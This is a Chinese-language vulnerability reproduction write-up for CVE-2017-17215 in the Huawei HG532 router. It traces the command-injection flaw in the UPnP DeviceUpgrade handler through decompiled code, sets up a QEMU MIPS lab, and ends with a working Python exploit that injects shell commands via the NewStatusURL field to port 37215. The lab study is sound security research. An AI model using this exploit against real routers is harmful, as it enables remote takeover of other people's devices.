华为HG532路由器RCE漏洞 CVE-2017-17215
CVE-Description
Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.
华为 HG532 的某些定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向 37215 端口发送恶意数据包来发起攻击。成功利用此漏洞可能导致任意代码被远程执行。
0x00 文件提取
直接用binwalk -Me .bin,在squashfs-root//bin/下有一个upnp,就是漏洞文件
UPnP:
UPnP(通用即插即用)是一种基于网络协议的技术框架,允许设备在无需手动配置的情况下自动发现、连接和通信,广泛应用于家庭网络、智能家居和物联网场景,但需注意其潜在的安全性和性能问题。
checksec upnp
查看其信息:
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开启任何包含。
0x01 漏洞定位
用官方报告中提及的NewStatusURL
或NewDownloadURL
字符串定位
得到所在函数的源码:
int __fastcall sub_407B20(int a1)
{int ChildNodeByName; // $s1const char *v4; // [sp+20h] [-40Ch] BYREFconst char *v5; // [sp+24h] [-408h] BYREF_BYTE v6[1028]; // [sp+28h] [-404h] BYREFChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4);if ( !ChildNodeByName ){if ( v4 ){ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5);if ( !ChildNodeByName ){if ( v5 ){snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);system(v6);}}}}return ChildNodeByName;
}
这里直接将变量值v4,v5拼接进语句中,再传入system函数执行,这就是漏洞点
snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);system(v6);
这段代码的逻辑大概可以看出来是从XML中提取出NewDownloadURL和NewStatusURL,然后拼接进命令里执行
也就是这样:
upg -g -U <NewDownloadURL> -t '1 Firmware Upgrade Image' -c upnp -r <NewStatusURL> -d -b
但这个漏洞函数并没有被直接引用:
去文件系统里查查:
$ grep -r 'NewDownloadURL'
grep: bin/upnp: 匹配到二进制文件
etc/upnp/DevUpg.xml:<name>NewDownloadURL</name>$ grep -r DevUpg.xml
grep: bin/upnp: 匹配到二进制文件
DevUpg.xml只在upnp文件中存在,继续寻找:
int ATP_UPNP_RegDeviceAndService()
{......v0 = ATP_UPnP_RegDevice(0, dword_426F54, "InternetGatewayDevice:1", 3, 0, 0, &v25);v1 = ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceUpgrade:1", "DevUpg.xml", 2, 0, 0, &v26);v2 = ATP_UPnP_RegService(v25, "Layer3Forwarding:1", "L3Fwd.xml", 3, 0, 0, &v27);v3 = ATP_UPnP_RegService(v25, "LANConfigSecurity:1", "LANSec.xml", 2, 0, 0, &v29);result = v1+ v0+ v2+ v3+ ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceConfig:1", "DevCfg.xml", 2, 0, 0, &v28);if ( !result ){v43 = ATP_UPnP_RegDevice(v25, 0, "WANDevice:1", 3, 1, 0, &v31);v5 = ATP_UPnP_RegService(v31, "WANCommonInterfaceConfig:1", "WanCommonIfc1.xml", 2, 0, 0, &v32);v96 = ATP_UPnP_RegService(v31, "WANDSLInterfaceConfig:1", "WanDslIfCfg.xml", 3, 0, 0, &v30);v6 = ATP_UPnP_RegDevice(v31, 0, "WANConnectionDevice:1", 3, 1, 0, &v33);v7 = ATP_UPnP_RegService(v33, "WANDSLLinkConfig:1", "WanDslLink.xml", 2, 0, 0, &v41);v8 = ATP_UPnP_RegService(v33, "WANIPConnection:1", "WanIpConn.xml", 3, 1, 0, &v35);v9 = ATP_UPnP_RegService(v33, "WANPPPConnection:1", "WanPppConn.xml", 3, 1, 0, &v34);v10 = ATP_UPnP_RegService(v33, "WANEthernetConnectionManagement:1", "WanEthConnMgt.xml", 2, 0, 0, &v36);v11 = ATP_UPnP_RegService(v33, "WANEthernetLinkConfig:1", "WanEthLinkCfg.xml", 2, 0, 0, &v37);v12 = ATP_UPnP_RegDevice(v25, 0, "LANDevice:1", 2, 1, 0, &v38);v14 = ATP_UPnP_RegService(v38, "LANHostConfigManagement:1", "LanHostCfgMgmt.xml", 2, 0, 0, &v39);v13 = ATP_UPnP_RegService(v38, "WLANConfiguration:1", "WLANCfg.xml", 2, 1, 0, &v40);v42 = ATP_UPNP_RegAction(v26, 0);......
跟进ATP_UPnP_RegDevice:
int __fastcall ATP_UPnP_RegService(int a1, int a2, const char *a3, int a4, int a5, int a6, int **a7)
{
......if ( !g_pcDescPath )goto LABEL_111;snprintf(v81, 128, "%s/%s", (const char *)g_pcDescPath, a3);if ( TSP_XML_ParseFile(v81, &v77) )goto LABEL_111;v40 = ATP_UPNP_StrDup(a3);......
函数逻辑为:
1、注册 UPnP 服务(ATP_UPnP_RegService
),每个服务对应一个 XML 文件。
2、检查是否已有该服务,如果已有,直接复制旧的服务数据。
3、解析 XML,提取 状态变量(stateVariable) 和 动作(ActionList)。
4、将服务挂载到设备上,最终注册完成。
所以漏洞函数对应的就是DeviceUpgrade设备升级这个服务。
继续跟进ATP_UPNP_RegAction:
int __fastcall ATP_UPNP_RegAction(int a1, int a2)
{int n1074331648; // $v0_DWORD *v4; // $s0char *v5; // $s2int v6; // $s1if ( !a1 )return 1074331648;n1074331648 = 1074331648;if ( *(_DWORD *)(a1 + 48) ){v4 = *(_DWORD **)(a1 + 36);if ( v4 ){v5 = (&g_astActionArray)[4 * a2]; // "Upgrade"while ( 1 ){if ( (v4[1] & 0x40000000) != 0 ){v6 = *v4;if ( !strcmp(*v4, v5) )break;}v4 = (_DWORD *)v4[4];n1074331648 = 1074331648;if ( !v4 )return n1074331648;}ATP_UPNP_Free(v6);v4[1] &= ~0x40000000u;*v4 = a2;return 0;}}return n1074331648;
}
这里有个 _Upgrade_ = (&g_astActionArray)[4 * a2]; // "Upgrade"
在g_astActionArray处,做全局变量修复后,发现这是一个虚表,且存在漏洞函数sub_407B20
这个虚表还会被UPnPGetActionByName
调用
UPnPGetActionByName:
char *__fastcall UPnPGetActionByName(int a1, int a2, int a3, _DWORD *a4)
{......v10 = *i;v11 = &(&g_astActionArray)[4 * *i]; // "Upgrade"if ( !strcmp(*v11, a2) && (!v11[1] || !strcmp(v11[1], a3)) ){if ( a4 )*a4 = (&g_astActionArray)[4 * v10 + 3];// "Upgrade"// "Upgrade"return (&g_astActionArray)[4 * *i + 2];......
这部分取值并调用返回函数,这里就是调用漏洞函数的位置,下面继续跟进,看如何触发UPnPGetActionByName
在sub_40B198里找到了调用
int __fastcall sub_40B198(_DWORD *a1, int a2)
{......if ( ATP_HTTP_ClientRecvAllBody(a2, v2, &v37, 0) )return 1074331659;v5 = *(_DWORD *)(v2 + 8);if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 ){ServiceByUrl = UpnpGetServiceByUrl(v5, &v36);......v47[14] = 0;if ( !ATP_XML_GetChildNodeByName(v38, "Header", &v41, 0) )ATP_XML_GetChildNodeByName(v41, "SessionID", 0, &v47[14]);if ( ATP_XML_GetChildNodeByName(v38, "Body", &v39, 0)|| (NodeFirstChild = TSP_XML_GetNodeFirstChild(v39), (NodeFirstChild_1 = NodeFirstChild) == 0)|| (v42 = 0, TSP_XML_GetNodeValue(NodeFirstChild, 0, &v42, &v43, 0))|| !v43 ){v8 = 0;TSP_XML_FreeNode(v38);n1074331658 = 1074331658;goto LABEL_23;}......ActListByActName = UpnpGetActListByActName();if ( ActListByActName ){snprintf(tr064_set_action(%s)_failed__ErrorCode:_%d_, 256, "upnp set action(%s)", (const char *)v47[9]);v30 = *(const char ***)(ActListByActName + 8);if ( !v30 || *(_DWORD *)(ActListByActName + 12) )goto LABEL_70;do{if ( !*((_DWORD *)v30[1] + 2) ){if ( !*v30 )goto LABEL_63;v31 = (const char *)sub_40A618(v47, *v30);if ( !v31 )goto LABEL_63;v33 = strlen(tr064_set_action(%s)_failed__ErrorCode:_%d_);snprintf(&tr064_set_action(%s)_failed__ErrorCode:_%d_[v33],256 - v33,"[param %s, value:%s]",*v30,v31);}if ( strcmp(v47[9], "SetConfigPassword") ){v46[0] = *(_DWORD *)(g_pstUPnPStack + 24);v25 = *(_DWORD *)(g_pstUPnPStack + 32);}
这里有一个 if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 )
做了url的限制(另外该函数中还有一部分SetConfigPassword,不知道这里会不会也存在漏洞)
/ctrlu/就是传入的url,后面跟着参数,至此找到了漏洞函数最上层的入口。
0x02 漏洞利用
看网上都说upnp服务需要通过32715端口来启动,但无一例外都没有说具体源码在哪。
实际上去看main函数,很容易看到这一部分,创建 了UPnP HTTP 服务器,监听 37215 端口。
if ( Server_1 < 0 ){Server = ATP_UTIL_SocketCreateServer(0, 37215, 0);Server_1 = Server;if ( Server < 0 ){v17 = *(_DWORD *)_errno_location();tr064_reg_msg_db_proc_failed:%X_n = "Create upnp http socket failed: %d.\n";goto LABEL_36;}listen(Server, 20);}
所以我们需要去找其他有用到37215端口的程序
找到了bin/mic,在mic文件中,不知为何,我并没有找到相关的源码
$ grep -ra '37215'
bin/mic:cmsCms not started yet.consolewebcwmptelnetdupnp|37215|t4;|37443|s4dnsbrctl addbr br0:9 2> /dev/nullifconfig br0:9 169.254.100.156 netmask 255.0.0.0 2> /dev/nullifconfig br0:9 up 2> /dev/null%s169.254.100.156ifconfig br0:9 down 2> /dev/nullbrctl delbr br0:9 2> /dev/nullbftpdCreate ipv6 socket for bftpd with port %d.
漏洞披露里说可以通过运行/bin/mic
文件来打开37215
端口,打开37215
端口,并向该端口下的/ctrlt/DeviceUpgrade_1
地址发送数据包,才能启用UPnP
服务。
可以用sudo nmap 192.168.192.133 -p1-65535
命令扫描到qemu
虚拟机中所有打开的端口,或者用nc -vv 192.168.192.133 37215
命令看看能否成功连接上37215
端口
sudo qemu-system-mips \-M malta \ -kernel vmlinux-2.6.32-5-4kc-malta \-hda debian_squeeze_mips_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \-netdev tap,id=tapnet,ifname=tap0,script=no \-device rtl8139,netdev=tapnet
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet sudo qemu-system-mips \-M malta -kernel vmlinux-2.6.32-5-4kc-malta \-hda debian_squeeze_mips_standard.qcow2 \-append "root=/dev/sda1 console=tty0" \-net nic,macaddr=00:16:3e:00:00:01 \-net tap
下载qemu启动虚拟机所需要的“镜像” 这里采用的是内核态模拟
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
创建虚拟网桥,实现虚拟机内部和Ubuntu的连接
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
华为路由器漏洞复现详细分析(包括整个漏洞链)" />
创建tap0接口 并添加网桥
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0
华为路由器漏洞复现详细分析(包括整个漏洞链)" />
写一个启动脚本start.sh
#!/bin/bash sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
华为路由器漏洞复现详细分析(包括整个漏洞链)" />
增加一个IP 检测双ping 是否能ping通
ifconfig eth0 192.168.153.3/24 up
华为路由器漏洞复现详细分析(包括整个漏洞链)" />
然后把文件系统复制到我们新启动的虚拟机中
sudo scp -r ./squashfs-root root@192.168.153.3:/root/
然后挂载启动
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
chroot squashfs-root sh
这里根据漏洞分析 是要启动upnp
和mic
这两个接口。
由于启动mic
的时候 会把eth0的IP弄没 因此我们通过SSH链接的方式 远程启动 然后利用虚拟机重新启动eth0就可以外部访问了。
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.153.3
chroot squashfs-root sh
./bin/upnp
./bin/mic
启动后我们发现
华为路由器漏洞复现详细分析(包括整个漏洞链)" />
eth0没了 我们重新启动
ifconfig eth0 192.168.153.3/24 up
在宿主机测试:
nc -vv 192.168.153.3 37215
华为路由器漏洞复现详细分析(包括整个漏洞链)" />
环境启动成功
用下面的脚步即可完成复现
import requests
import sys
headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
} data = f'''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;{sys.argv[1]};</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.153.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
复现成功,可以看到在mic的运行输出中打印了ls的返回值
参考链接
https://research.checkpoint.com/2017/good-zero-day-skiddie/
https://cn-sec.com/archives/3690438.html